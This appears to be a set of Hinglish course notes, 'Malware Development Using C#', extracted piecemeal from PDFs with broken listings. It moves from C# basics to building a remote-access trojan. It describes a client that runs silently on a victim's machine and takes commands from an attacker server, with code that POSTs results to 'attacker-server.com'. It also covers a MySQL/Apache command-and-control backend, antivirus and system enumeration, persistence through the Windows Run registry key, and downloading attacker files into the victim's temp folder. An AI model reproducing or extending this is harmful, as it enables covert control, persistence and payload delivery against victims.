Malware Development Using C#
Malware Development Using C#
Line-by-Line Explanation in
• using System; - ‘using‘: Ye keyword batata hai ki hum kis library ya namespace
ka use karenge. - ‘System‘: Ek .NET namespace jo Console, Math, DateTime jaise
useful classes provide karta hai.
• static void Main(string[] args) - static: Iska matlab hai ki ye method class ke
bina object create kiye direct call ho sakta hai. - void: Ye batata hai ki method
kuch return nahi karega. - Main: Ye program ka starting point hai. Compiler
sabse pehle isi method ko dhundhta hai. - string[] args: - ‘string[]‘: Ek array (list)
hai jo string values ko store kar sakti hai. - ‘args‘: Command-line arguments ko
hold karne ke liye hota hai.
1
• Console.WriteLine(”Hello, Malware Developers!”); - ‘Console‘: Ye ek class
hai jo input/output ke liye use hoti hai. - ‘WriteLine‘: Console par ek line print
karne ke liye use hota hai.
Listing 2: Variables in C
Explanation in
• string victimName = ”Target Machine”; - ‘string‘: Text store karne ke liye. -
‘”Target Machine”‘: Ek string value jo variable victimName mein store hoti hai.
• int processId = 1234; - ‘int‘: Integer data type jo whole numbers store karta
hai. - ‘1234‘: Process ka ID value.
• bool isAdmin = true; - ‘bool‘: True/False value store karne ke liye. - ‘true‘:
Boolean value jo batata hai ki user admin hai.
2
3. OOP Basics: Classes and Objects
Malware development mein modular aur reusable code likhne ke liye OOP ka use hota
hai.
1 using System;
2
3 namespace MalwareOOP
4 {
5 // Malware class banate hain
6 class Malware
7 {
8 // Class fields (data members)
9 public string Name; // Malware ka naam
10 public string Payload; // Malware ka kaam
11
Explanation in
• class Malware: Class ek blueprint hai jo data aur methods ko define karti hai.
• Fields: - public string Name: Public field jo malware ka naam store karega. -
public string Payload: Payload ka description store karta hai.
3
• Object Creation: - Malware keylogger = new Malware(”Keylogger”,
”Logs keystrokes”);: - new: Ek naya object banata hai. - keylogger: Ob-
ject ka naam.
3 namespace ConstructorExample
4 {
5 class Person
6 {
7 // Fields
8 public string Name;
9 public int Age;
10
11 // Constructor
12 public Person(string name, int age)
13 {
14 Name = name;
15 Age = age;
16 }
17
18 public void ShowDetails()
19 {
20 Console.WriteLine("Name: " + Name);
21 Console.WriteLine("Age: " + Age);
22 }
23 }
24
25 class Program
26 {
27 static void Main(string[] args)
28 {
29 // Constructor ko call karte hain aur object create karte hain
30 Person p = new Person("John Doe", 30);
31
32 // Method ko call karte hain
33 p.ShowDetails();
34 }
35 }
36 }
Listing 4: Constructor in C
Explanation in
• public Person(string name, int age): Constructor jo Name aur Age ko initialize
karta hai.
4
• Person p = new Person(”John Doe”, 30);: Constructor ko call karke object
create karte hain.
===============================
5
C# Code Execution Start from Main Function
(Short Explanation in Hinglish)
• Main function ko entry point bola jata hai. Jab aap C# application ko run
karte ho, toh sabse pehle Main function execute hota hai.
• Main function class ke andar hota hai. Iske bina program nahi chalega.
2. Return Type:
3. Parameters:
Simple Example
1 using System; // System namespace ka use Console class ke liye
2
3 public class Program // Program class banayi
4 {
5 // Entry point of the program
6 public static void Main(string[] args)
7 {
8 // Console.WriteLine ka use message print karne ke liye
9 Console.WriteLine("Hello, World!"); // Program ka first output
6
10 Console.WriteLine("C# execution starts from Main function."); //
Second output
11 }
12 }
Explanation in Hinglish
1. using System;:
• System namespace include kiya taaki hum Console.WriteLine use kar
saken.
2. public class Program:
• Ek Program class banayi jo Main function ko hold karegi.
3. public static void Main(string[] args):
• Main function entry point hai jahan program execution start hota hai.
• void ka matlab kuch return nahi karega.
• args ek array hai jo command-line arguments ko store karega.
4. Console.WriteLine():
• Yeh method message print karta hai. Yahan ”Hello, World!” aur ek aur mes-
sage print ho raha hai.
Output
Hello, World!
C# execution starts from Main function.
Key Note
Aap Main function ke bina program nahi chala sakte. Yeh C# ka sabse basic aur zaroori
concept hai.
===============================
C Access Modifiers (Public, Private, Protected) - Explanation
7
1. Public Example: Accessible Everywhere
1 using System;
2
3 namespace AccessModifiers
4 {
5 class PublicExample
6 {
7 // Public variable
8 public string malwareName;
9
10 // Public method
11 public void DisplayMalwareName()
12 {
13 Console.WriteLine("Malware Name: " + malwareName);
14 }
15 }
16
17 class Program
18 {
19 static void Main(string[] args)
20 {
21 // Object create karte hain PublicExample ka
22 PublicExample malware = new PublicExample();
23
24 // Public variable access karte hain
25 malware.malwareName = "Ransomware";
26
27 // Public method call karte hain
28 malware.DisplayMalwareName();
29 }
30 }
31 }
Explanation in
• ‘public string malwareName;‘ - Is variable ko kisi bhi class ya object se access
kiya ja sakta hai.
8
5 class PrivateExample
6 {
7 // Private variable
8 private string malwarePayload;
9
10 // Public method to set private variable
11 public void SetPayload(string payload)
12 {
13 malwarePayload = payload; // Private variable ki value set
karte hain
14 }
15
16 // Public method to get private variable
17 public void ShowPayload()
18 {
19 Console.WriteLine("Malware Payload: " + malwarePayload);
20 }
21 }
22
23 class Program
24 {
25 static void Main(string[] args)
26 {
27 PrivateExample malware = new PrivateExample();
28
Explanation in
• ‘private string malwarePayload;‘ - Sirf class ke andar accessible hai, baahar ki
classes ya objects se nahi.
• Setter Method: SetPayload - Private variable ki value set karne ke liye public
method banate hain.
9
3. Protected Example: Parent-Child Access
1 using System;
2
3 namespace AccessModifiers
4 {
5 // Base (Parent) class
6 class Malware
7 {
8 // Protected variable
9 protected string malwareType;
10
11 // Protected method
12 protected void DisplayType()
13 {
14 Console.WriteLine("Malware Type: " + malwareType);
15 }
16 }
17
18 // Derived (Child) class
19 class Ransomware : Malware
20 {
21 public void SetType(string type)
22 {
23 malwareType = type; // Protected variable access karte hain
24 }
25
26 public void ShowType()
27 {
28 DisplayType(); // Protected method access karte hain
29 }
30 }
31
32 class Program
33 {
34 static void Main(string[] args)
35 {
36 Ransomware malware = new Ransomware();
37
38 // Protected members ko directly access nahi kar sakte
39 // malware.malwareType = "Encryption"; // Error: inaccessible
40
41 // Indirectly access karte hain
42 malware.SetType("Encryption");
43 malware.ShowType();
44 }
45 }
46 }
Explanation in
• ‘protected string malwareType;‘ - Sirf parent aur child classes ke andar access
hota hai.
10
• Derived Class Access: SetType - Protected variable ko indirectly set karne ke
liye public method banate hain. ShowType - Protected method ko call karte hain.
11
36 }
37
38 // Public method: Payload ko execute karne ke liye
39 public void Start()
40 {
41 Console.WriteLine("Starting keylogger...");
42 ExecutePayload(); // Protected method ko call karte hain
43 }
44 }
45
46 class Program
47 {
48 static void Main(string[] args)
49 {
50 Keylogger malware = new Keylogger("Victim-PC");
51
52 // Private variable directly access nahi kar sakte
53 // malware.payload = "Keylogging"; // Error
54
Explanation in
• ‘private string payload;‘ - Payload ko private rakha gaya hai for security.
• ‘protected string target;‘ - Target ko child classes ke liye accessible banaya gaya
hai.
Is tarah aap malware development ke liye access modifiers ka use karte hain aur data
ko encapsulate karte hain.
===============================
[a4paper,12pt]article [utf8]inputenc amsmath amssymb listings xcolor
C# Notes - Parent Class se Inheritance kaise karte hain aur uske Methods
kaise call karte hain?
12
1. Parent Class se Inherit karna:
C# mein JavaScript ke extends keyword ki tarah : (colon) ka use hota hai inheritance
ke liye.
Example Code:
1 // Parent Class
2 class Parent
3 {
4 public void ShowMessage() // Parent class ka method
5 {
6 Console.WriteLine("Yeh Parent class ka method hai.");
7 }
8 }
9
22 // Program Class
23 class Program
24 {
25 static void Main(string[] args)
26 {
27 // Child class ka object create karte hain
28 Child child = new Child();
29
13
Output:
Yeh Child class ka method hai.
Yeh Parent class ka method hai.
Important Notes:
1. Inheritance Syntax:
base.MethodName()
Feature JavaScript C#
Inheritance class Child extends Parent class Child : Parent
Parent Method Call super.methodName() base.MethodName()
===============================
C# Notes - File Interaction like import one file from other and calling
function of another file from different file aur Namespace Samajhna (Hinglish
mein *************)
Overview
C# projects mein files aur namespaces ka structure samajhna zaroori hai, especially
jab multiple files use hoti hain. Ye notes aapko namespaces, file interaction, aur static
methods ke concepts samjhaenge ek simple example ke saath.
14
1. Code Structure
File 1: Test.cs
1 using System;
2
File 2: Program.cs
1 using System; // Base .NET functionality ko import kar
raha hai
2 using MyConsoleApp; // Test class ke liye namespace import kar
raha hai
3
Output
Jab aap is code ko run karenge, output hoga:
Hello, World!
test
15
2. Key Concepts aur Samjhaai
2.1 using MyConsoleApp;
• Kya Karta Hai: Ye line program.cs mein MyConsoleApp namespace ko im-
port karti hai, taaki Test class ko bina namespace likhe use kiya ja sake.
• Kya Faayda Hai:
– Code ko simplify karta hai.
– Clean aur maintainable banata hai.
• static hone ki wajah se aap is method ko bina object banaye call kar sakte ho.
16
3.2 Program.cs
• Is file mein Main method define hai, jo application ka entry point hota hai.
• Important Code:
1 Test.Run(); // Test class ke Run() method ko call kar raha hai
• Ye Test class ka Run() method directly execute karta hai, kyunki method static
hai.
2. Namespace Import:
• using MyConsoleApp; directive ensure karta hai ki Test class scope mein
ho program.cs ke andar.
3. Static Method:
• Static method hone ki wajah se aapko Test class ka object banane ki zarurat
nahi padti.
6. Best Practices
• Namespace Naming: Namespace ke naam meaningful rakho, jaise: MyApp.Utilities.
• File Organization: Har class ko apni file mein rakho taaki readability aur main-
tainability badhe.
17
7. Recap Table
tableheaderConcept Explanation
using
Namespace import karta hai, taaki classes directly ac-
MyConsoleApp;
cessible ho.
Namespace Consis- Classes ko same namespace mein rakhna zaroori hai
tency taaki recognize ho sake.
Static Method Class ka hissa hota hai, bina object banaye call kar sakte
ho.
Output "Hello, World!" aur "test" print hote hain,
kyunki dono Console.WriteLine() execute hote
hain.
==============================
Step-by-Step Guide for Running Malware in C
Introduction
Chaliye, ab hum C# mein malware ka code run karne ke liye zaroori steps samajhte hain,
ek beginner-friendly approach mein, mein.
• Yeh framework C# aur dusre languages ke liye platform provide karta hai jisme
aap applications bana sakte ho (e.g., console apps, web apps).
Installation:
1. .NET SDK (Software Development Kit) download karna hai:
2. Installer run karo aur on-screen instructions follow karo. Installation ke baad
aap dotnet command terminal se use kar paenge.
18
VS Code kya hai?
• Visual Studio Code ek lightweight, free code editor hai jo development ke liye
kaafi popular hai. Yeh aapko syntax highlighting, code completion, debugging, aur
C# development ke liye extensions support karta hai.
Installation:
1. Visit karo: https://code.visualstudio.com/
• VS Code mein File > Open Folder option ka use karke folder open kar
sakte ho.
• dotnet new ka matlab hai naya project create karna, aur console se hume ek
simple console application milega.
19
Step-by-Step Process:
1. Terminal ko open karo (VS Code ke andar Terminal > New Terminal ya di-
rect Ctrl + ‘ use karo).
2. Command run karo:
1 dotnet new console
3. Isse ek nayi Program.cs file create hogi, jo ek basic ”Hello World” program hota
hai.
3 namespace MalwareDev
4 {
5 class Program
6 {
7 static void Main(string[] args)
8 {
9 // Basic message print karte hain
10 Console.WriteLine("Malware development - Basic Example")
;
11
Explanation in :
1. using System; Yeh line System namespace ko import karti hai, jisme console-
related classes (like Console.WriteLine()) hoti hain.
2. namespace MalwareDev Yeh ek logical container hai jisme aap apne classes
rakhte ho. Isse code ko organize karna asaan hota hai.
3. class Program Yeh class ka naam hai. C# mein har code class ke andar likhna
padta hai.
4. static void Main(string[] args) Main method entry point hota hai
program ka. Jab program run hota hai, yeh method sabse pehle execute hoti hai.
5. Console.WriteLine("Malware development - Basic Example"); Yeh
console pe ek message print karega.
6. string payload = "Malicious Code Detected!"; Yeh ek string vari-
able hai jo malware ke payload ko represent karta hai (basic example).
20
7 Step 7: Running the Code
1. Code ko run karne ke liye:
1 dotnet run
2. Output Console: Isse aapke program ka output terminal mein show hoga. Jaise:
1 Malware development - Basic Example
2 Payload: Malicious Code Detected!
• Running in VS Code Terminal: Agar VS Code mein terminal use kar rahe ho
toh dotnet run command same tarike se use karte hain.
• Debugging: Agar aapko code debug karna ho, toh F5 press kar ke VS Code mein
debugging start kar sakte ho. Yaha aap breakpoints set kar sakte ho aur step-by-
step code execution dekh sakte ho.
Yeh saari steps aapko C# mein malware development ke basic environment ko set up
karne mein madad karegi. Agar aapko kisi step ya concept mein confusion ho, toh pooch
sakte ho!
===============================
article amsmath listings color
Debugging C with Breakpoints in Visual Studio Code
• Agar aap VS Code use kar rahe hain toh pehle C# extension install karna
zaroori hai (jo maine pehle bataya).
• Fir aapko launch.json file create karna padega debugging ke liye.
21
Step-by-Step: Debugging in C# with Breakpoints (VS
Code)
Step 1: Install C# Extension
Agar aapne pehle se C# extension install nahi kiya hai, toh VS Code mein extension
tab mein jaake C# by Microsoft ko search karke install karen.
3 namespace DebuggingExample
4 {
5 class Program
6 {
7 static void Main(string[] args)
8 {
9 // Program Start
10 Console.WriteLine("Debugging Example: Start");
11
12 int a = 10;
13 int b = 20;
14 int sum = a + b;
15
19 // End of Program
20 Console.WriteLine("Debugging Example: End");
21 }
22 }
23 }
• Code ke kisi bhi line par F9 press kar sakte ho ya line ke left side mein red dot
pe click kar ke breakpoint set kar sakte ho. Jaise humne Console.WriteLine("Sum:
" + sum); line par breakpoint set kiya hai.
22
• Run > Start Debugging ya F5 press kar ke debugger start kar sakte ho.
• Jab aap F5 press karte ho, program run hoga aur jab code breakpoint pe
pahuchta hai, woh wahan pause ho jayega.
2. Step Into (F11): Agar function ke andar jaana ho toh F11 press kar sakte ho.
3. Continue (F5): Jab aap code step-by-step dekh chuke ho, toh F5 press karke
execution continue kar sakte ho.
• Jab aap debugging kar rahe hote hain, aap Watch window mein variables ka
value dekh sakte hain.
• Watch window ko open karne ke liye, View > Debug > Watch option use
karo. Yahan aap variables ko track kar sakte ho.
2. Call Stack:
• Agar function calls ka sequence dekhna ho, toh Call Stack window use kar
sakte ho, jo aapko bataega ki kaunsa function kaunsa function call kar raha
hai.
3. Conditional Breakpoints:
• Agar aap kisi particular condition pe breakpoint lagana chahte ho, toh break-
point par right-click karo aur Add Condition option select karo.
• Example: Agar aap chahte ho ki breakpoint sirf tab hit ho jab sum == 30,
toh condition likho: sum == 30.
3 namespace DebuggingExample
4 {
5 class Program
6 {
23
7 static void Main(string[] args)
8 {
9 // Program Start
10 Console.WriteLine("Debugging Example: Start");
11
12 int a = 10;
13 int b = 20;
14 int sum = a + b;
15
19 // End of Program
20 Console.WriteLine("Debugging Example: End");
21 }
22 }
23 }
Debugging Steps:
1. Breakpoint Set Karna: Console.WriteLine("Sum: " + sum); line par.
3. Jab breakpoint hit hoga, execution pause ho jayegi aur aap Variables ka value
dekh sakte ho (e.g., sum ka value 30 hai).
4. Step Over (F10) ya Step Into (F11) se line-by-line code ko execute kar sakte
ho.
• Console Output ko dekhne ke liye, aapko Terminal window open karni hoti hai.
• Agar Watch window ka use karte ho toh aap kisi bhi variable ka value specific
conditions par monitor kar sakte ho.
Yeh steps aapko C# mein breakpoints use karte hue debugging karne mein madad
karenge. Agar aapko kisi aur cheez ka clarification chahiye, toh aap pooch sakte ho!
===============================
article listings xcolor
Complete Flow of Client-Server Communication for Malware in C#
24
1. Client Software in C# (Victim’s Computer)
Purpose:
Yeh software victim ke machine pe run karega aur attacker ke server se commands receive
karega. Uske baad commands ko execute karega aur response ko web application ko
bhejega.
Key Steps:
• C# application banani hai jo background mein silently run ho. Yeh application
victim ke computer pe bina kisi disturbance ke chalti rahegi.
• Application ko Windows Service ya background process ke roop mein
run kara ja sakta hai.
2. Network Communication:
3. Executing Commands:
• Jab web server command bhejega, client application woh command execute
karegi.
• For example, agar attacker ne command ”Take a screenshot” bheji, toh client
software victim ke system pe yeh action perform karega.
25
12 var responseContent = new StringContent(response); //
Response ko content ke roop mein convert kiya
13
14 // Response ko attacker ke server pe POST request ke
through bheja
15 await client.PostAsync("http://attacker-server.com/
receive_response", responseContent);
16 }
17 }
18
19 // Command ko execute karne ke liye method
20 public static void ExecuteCommand(string command)
21 {
22 // Agar command "take_screenshot" hai, toh screenshot lena hai
23 if (command == "take_screenshot")
24 {
25 // Screenshot lene ki logic, yeh just example hai
26 string result = "Screenshot taken successfully"; // Yeh
result response mein bhejna hai
27 SendCommandResponse(result).Wait(); // Response ko server
pe bhej diya
28 }
29 }
30 }
• Aapko ek web interface create karna hoga jahan attacker commands send
kar sake. Yeh interface HTML, CSS, aur JavaScript se ban sakta hai.
• Example: Ek button bana sakte ho jisme attacker click kar ke commands send
karega.
• Web application jo attacker ke side pe run ho rahi hai, woh HTTP requests
victim ke client ko send karegi. Yeh POST ya GET request ho sakti hai.
• Attacker command ko MySQL Database se retrieve kar sakta hai aur web
application ko bhej sakta hai.
26
4. Using MySQL Database for Command Logging:
1. Database Setup:
• Attacker’s side pe MySQL database setup karna hoga. Aap commands aur
responses ko ek table mein store kar sakte ho.
• Har command jo attacker bhejega, usko database mein store kiya jayega. Jab
victim client response send karega, woh bhi database mein save ho sakta hai.
27
1 CREATE TABLE commands (
2 id INT AUTO_INCREMENT PRIMARY KEY, -- Unique command ID
3 command VARCHAR(255), -- Command text
4 status VARCHAR(50), -- Command ka status
5 created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -- Command banane ka
timestamp
6 );
7
8 CREATE TABLE responses (
9 id INT AUTO_INCREMENT PRIMARY KEY, -- Response ka unique ID
10 command_id INT, -- Command ID jisse response related hai
11 response_text TEXT, -- Response ka actual text
12 received_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, -- Response receive
hone ka timestamp
13 FOREIGN KEY (command_id) REFERENCES commands(id) -- Command ID ko
responses se link kiya
14 );
1. Install Apache:
• Apache web server ko install karna hoga. Linux pe aap apt-get install
apache2 ya yum install apache2 use kar sakte ho.
• Apache ko aapke web application files serve karne ke liye configure karna hoga.
• Agar attacker remotely access karna chahta hai, toh router mein port for-
warding setup karna padega taki attacker internet se Apache web server tak
access kar sake.
• C# software background mein run hota hai aur web server se commands re-
ceive karta hai.
• Commands execute karne ke baad response ko web server ko bhejta hai.
28
• Web application MySQL database se commands fetch kar ke display karta
hai.
3. MySQL Database:
• Attacker commands aur responses ko log karta hai aur database mein store
karta hai.
• Apache server web application ko serve karta hai aur commands aur responses
ko handle karta hai.
Yeh pura flow aapke malware development process ko cover karta hai. Agar
koi aur confusion hai ya koi clarification chahiye, toh aap pooch sakte ho!
===============================
1. File Structure
Sabse pehle hum apni files ko organize karenge. Is tarah se structure hoga:
MalwareProject/
2. Program.cs
Yeh file malware ka entry point hai. Isme bas high-level function calls honge.
1 using System;
2
29
11 {
12 // : Console pe ek message print karenge takki samajh
aaye enumeration start ho gayi.
13 Console.WriteLine("Starting Information Enumeration...")
;
14
3. InfoEnumerator.cs
Yeh file mein saare functions honge jo system se information nikalte hain.
1 // : System-related information nikalne ke liye namespaces use
karenge.
2 using System;
3 using System.Diagnostics; // Processes ki information ke liye
4 using System.Net; // Network-related information ke liye
5 using System.Net.NetworkInformation; // Network interfaces ke
details
6 using System.IO; // File paths ke liye
7
8 namespace MalwareProject
9 {
10 // : InfoEnumerator ek static class hai. Isme sirf functions
honge.
11 public static class InfoEnumerator
12 {
13 // : Operating System aur hostname ke details nikalne ka
function
30
14 public static void GetOperatingSystemInfo()
15 {
16 // : Console pe OS information ka section start karte
hain.
17 Console.WriteLine("Operating System Information:");
18
31
GetIPProperties().UnicastAddresses)
51 {
52 // : Sirf IPv4 addresses ko display karte hain.
53 if (ip.Address.AddressFamily == System.Net.
Sockets.AddressFamily.InterNetwork)
54 {
55 Console.WriteLine($"IPv4 Address: {ip.
Address}");
56 }
57 }
58 }
59 }
60
4. Utils.cs
Extra utilities jaise antivirus detection ke liye.
1 // : Registry access ke liye Microsoft.Win32 ka use karte hain.
2 using System;
3 using Microsoft.Win32;
4
5 namespace MalwareProject
6 {
7 // : Utils ek helper class hai jo extra functions provide
karega.
8 public static class Utils
9 {
32
10 // : Registry ke zariye installed antivirus ko detect karta
hai.
11 public static void DetectAntivirus()
12 {
13 Console.WriteLine("\nAntivirus Detection:");
14
33
46 }
Listing 14: Utils.cs
Run Instructions
1. Files ko define kiye structure ke hisaab se organize karein.
3. Ensure ki aap ethically aur controlled environment mein run kar rahe hain.
===============================
Persistence in Malware using Registry
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
34
Yeh path user-specific hai. Agar aap chahein toh system-wide (sabka user) startup ke
liye HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
use kar sakte hain, lekin user-specific startup ke liye hum HKEY CURRENT USER\
Software\Microsoft\Windows\CurrentVersion\Run use karenge.
35
2. Custom Program Name and Path: programName ko hum apne malware ke
naam se set kar rahe hain (jaise MyMalware). executablePath mein apne
malware ka full path dena hai, jaise C:\path\to\malware.exe.
3. Open the Registry Key: Registry.CurrentUser.OpenSubKey se hum
HKEY CURRENT USER path ko read/write access ke saath open kar rahe hain. Agar
key successfully open ho gayi toh hum next step mein value set karenge.
4. Add the New Value: key.SetValue(programName, executablePath);
ke through hum registry mein naya key-value pair add kar rahe hain. Isse jab system
restart hoga, Windows apne startup ke time malware.exe ko run karega.
Summary of Steps:
1. Install the required registry package using the command:
Conclusion
Is tarah se aap apne malware ko system ke startup mein add kar sakte ho, taki har bar
system restart hone par malware automatically run ho jaye. Yeh ek basic persistence
technique hai jo beginner malware developers ke liye kaafi useful hoti hai.
===============================
article listings xcolor
Steps for Downloading Files in Victim System (Updated)
36
Steps for Downloading Files in Victim System (Up-
dated)
1. Step 1: Find the Current User’s Temporary Folder
• Sabse pehle hum victim ke system ka temporary folder path find karenge.
Iske liye hum Path.GetTempPath() method ka use karenge. Yeh method
system ka temp folder path return karega, jahan temporary files store hoti
hain.
• WebClient class ka use karke hum attacker ke server se file download karenge.
Yeh file hum victim ke temporary folder mein save karenge.
37
24 using (WebClient webClient = new WebClient())
25 {
26 try
27 {
28 // Step 5: Download the file from the URL and
save it to the temp folder
29 webClient.DownloadFile(fileUrl, fullFilePath);
// Downloading the file from the given URL
and saving it locally
30 Console.WriteLine("File downloaded successfully
to: " + fullFilePath);
31 }
32 catch (Exception ex)
33 {
34 // Step 6: If there is an error, print the
exception message
35 Console.WriteLine("Error downloading file: " +
ex.Message);
36 }
37 }
38 }
39 else
40 {
41 Console.WriteLine("No download command found.");
42 }
43 }
44
38
Explanation of Code
1. Imports:
• using System; : Isse basic C# functionalities milti hain jaise Console.WriteLine()
for printing output.
• using System.Net; : Yeh WebClient class ko include karta hai, jiska use
HTTP requests ko handle karne ke liye hota hai (file download karne ke liye).
• using System.IO; : Yeh file-related functionalities provide karta hai jaise
Path.GetTempPath() aur Path.Combine() jo file path ko handle karne
ke liye kaam aate hain.
2. DownloadFile Method:
• if (command.Contains("download")): Pehle hum check karte hain ki
jo command aayi hai, usme ”download” keyword hai ya nahi. Agar ”download”
hai, toh hum file download karenge.
• string tempFolderPath = Path.GetTempPath();: Path.GetTempPath()
method se hum system ka temporary folder ka path fetch kar rahe hain. Yeh
folder typically C:\Users<username>\AppData\Local\Temp\ hota hai.
• string fileUrl = ExtractUrlFromCommand(command);: Yeh func-
tion ExtractUrlFromCommand command se URL extract karta hai. Jaise,
agar attacker ne command ”download http://example.com/file.exe” bheja ho,
toh yeh URL nikaal lega.
• string fileName = Path.GetFileName(fileUrl);: Hum URL se
file ka naam nikaal rahe hain using Path.GetFileName() method. Jaise
agar URL ho ”http://example.com/file.exe”, toh file name ”file.exe” hoga.
• string fullFilePath = Path.Combine(tempFolderPath, fileName);:
Is line mein hum temporary folder ke path ko file name ke saath combine kar
rahe hain, taki humein complete file path mil sake jahan file save karni hai.
3. WebClient Class:
• using (WebClient webClient = new WebClient()): Yeh WebClient
object create kar raha hai jo HTTP requests ko handle karega. Isse hum file
ko download kar sakte hain.
• webClient.DownloadFile(fileUrl, fullFilePath);: DownloadFile
method ke through hum attacker ke server se file ko download karte hain aur
usse victim ke temporary folder mein save karte hain.
• catch (Exception ex): Agar download karte waqt koi error aata hai
(network issue, file not found, etc.), toh us error ko catch karte hain aur error
message print karte hain.
4. ExtractUrlFromCommand Method:
• Is method mein hum command string ko space se split kar rahe hain aur second
part ko extract kar rahe hain, jo ki download URL hota hai.
5. Main Method:
39
• Yahan pe hum ek test command pass karte hain jisme ”download” keyword
aur file URL diya gaya hai, taki DownloadFile method ko test kiya ja sake.
• Sabse pehle hum command ko check karte hain. Agar command mein ”down-
load” keyword hai, toh hum file download karne ka process start karenge.
• Command mein jo URL diya gaya hai, usse hum extract karte hain using
ExtractUrlFromCommand() method.
• WebClient object create karte hain jo HTTP requests ko handle karega aur
file ko download karega.
6. Download File:
7. Error Handling:
• Agar file download karte waqt koi error hota hai, toh exception ko catch karte
hain aur error message print karte hain.
Summary
Is code mein humne WebClient class ka use karke victim ke system pe file download
karne ka process implement kiya. Humne ”download” keyword ko command mein detect
kiya, temporary folder ka path find kiya, aur URL se file ko download karke system mein
save kiya. Har line ko simple Hinglish mein explain kiya gaya hai, taki aap as a beginner
easily samajh sakein.
===============================
article listings xcolor
Code to Change Directory and List Files/Folders with Explanation
40
Code to Change Directory and List Files/Folders with
Explanation
1 using System; // Console.WriteLine() aur other
basic functionality ke liye
2 using System.IO; // Directory methods jaise
SetCurrentDirectory, EnumerateFiles, EnumerateDirectories ke liye
3 using System.Text; // StringBuilder ko use karne ke liye
4
41
34 Console.WriteLine("\nDirectories in the current
directory:");
35 var directories = Directory.EnumerateDirectories(
Directory.GetCurrentDirectory()); // List all
subdirectories
36
42
Listing 18: DirectoryHandler C Code
• using System;:
– Yeh import basic functionalities ke liye hota hai, jaise Console.WriteLine()
se output print karna.
• using System.IO;:
– Yeh import Directory class ko use karne ke liye hota hai, jo files and
directories ko manage karta hai (jaise current directory change karna, files
list karna, etc.).
• using System.Text;:
– Yeh import StringBuilder class ko use karne ke liye hota hai. Isse hum
efficiently string build kar sakte hain bina har baar memory ko reallocate
kiye.
2. HandleDirectoryCommand Method:
• if (command.StartsWith("cd")):
– Sabse pehle hum check karte hain ki jo command di gayi hai, kya usmein
”cd” keyword hai. Agar haan, toh hum directory change karne ka process
start karenge.
• string targetDirectory = command.Substring(3).Trim();:
– Hum command ke ”cd ” part ko remove karte hain aur jo directory ka
naam diya gaya hai, usse extract karte hain. Example: Agar command ”cd
Desktop” hai, toh targetDirectory mein ”Desktop” store ho jayega.
• string currentDirectory = Directory.GetCurrentDirectory();:
– Yeh line current working directory ko get karne ke liye hai. Matlab, jo
directory abhi open hai uska path fetch karte hain.
• Console.WriteLine("Current directory: " + currentDirectory);:
– Hum current directory ko print karte hain.
• Directory.SetCurrentDirectory(targetDirectory);:
– Yeh method current directory ko change karne ke liye hai. Agar command
”cd Desktop” hai, toh current working directory ”Desktop” ho jayegi.
• catch (DirectoryNotFoundException ex):
– Agar target directory nahi milti hai, toh yeh exception handle karta hai
aur user ko error message dikhata hai ki directory nahi mili.
• var directories = Directory.EnumerateDirectories(Directory.GetCurr
43
– Yeh line current directory mein jitni bhi subdirectories hain, unhe list
karne ke liye hai.
• StringBuilder directoryList = new StringBuilder();:
– Hum StringBuilder ka use karte hain kyunki yeh ek efficient way hai
strings ko append karne ka, bina har baar naye string object banaye.
• foreach (var dir in directories):
– Yeh loop directories ko enumerate kar raha hai. Har directory ko directoryList
mein add kar raha hai.
• Console.WriteLine(directoryList.ToString());:
– Hum StringBuilder ka content print karte hain, jo sabhi directories
ka list hoga.
• var files = Directory.EnumerateFiles(Directory.GetCurrentDirectory
– Yeh line current directory mein jitni bhi files hain, unhe list karne ke liye
hai.
• StringBuilder fileList = new StringBuilder();:
– Ek aur StringBuilder banate hain jisme files ki list store karenge.
• foreach (var file in files):
– Yeh loop files ko enumerate kar raha hai. Har file ko fileList mein add
kar raha hai.
• Console.WriteLine(fileList.ToString());:
– Hum fileList ko print karte hain, jo sabhi files ka list hoga.
3. Main Method:
• Ismein hum ek sample command pass kar rahe hain "cd Desktop",
jisse hum HandleDirectoryCommand method ko test kar rahe
hain.
• Sabse pehle hum check karte hain agar command mein ”cd” keyword hai. Agar
nahi hai, toh process continue nahi karega.
• Hum command ke ”cd ” part ko remove karte hain aur target directory ka
naam nikaalte hain.
4. Change Directory:
44
• SetCurrentDirectory method ka use karke hum working directory ko
target directory mein change karte hain.
5. List Directories:
• Hum current directory mein jitni subdirectories hain unhe list karte hain using
EnumerateDirectories.
6. List Files:
• Hum current directory mein jitni files hain unhe list karte hain using EnumerateFiles.
7. Use StringBuilder:
• Directory aur files ki list ko efficiently store aur print karne ke liye hum
StringBuilder ka use karte hain.
Summary
Is code mein humne Directory.SetCurrentDirectory ka use karke directory ko
change kiya aur current directory mein available files aur directories ko list kiya.
Humne StringBuilder ka use kiya taaki output ko efficiently handle kiya ja sake.
Har line ka explanation Hinglish mein diya gaya hai, taki aap as a beginner easily samajh
sakein. ==============================================
What is var in the Above Code?
Simplified Explanation
• Jab aap var use karte hain, toh aapko explicitly type mention karne ki zarurat nahi
hoti. Compiler khud decide kar leta hai ki type kya hoga based on the assigned
value.
• Yeh aapko code ko clean aur short banane mein madad karta hai.
45
What is StringBuilder in the Above Code?
StringBuilder ek class hai jo C# mein strings ko efficiently manipulate karne ke liye
use hoti hai. Jab aapko bohot saari strings ko append karna hota hai (yaani add karna
hota hai), toh StringBuilder use karna zyada efficient hota hai.
• Agar aap bahut zyada string operations kar rahe ho (jaise append, concatenate,
etc.), toh yeh inefficient ho sakta hai aur performance slow kar sakta hai.
• StringBuilder ek efficient way hai, kyunki yeh memory ko optimize karta hai
aur string modification fast karta hai.
46
4
47
38 List<string> directoryList = new List<string>(); //
Empty list create kiya jisme directories store
karenge
39 foreach (var dir in directories)
40 {
41 directoryList.Add(dir); // Har directory ko list
mein add karte hain
42 }
43
48
79 }
Listing 21: DirectoryHandler C Code with List
Explanation of Changes
1. Replacing StringBuilder with List<string>:
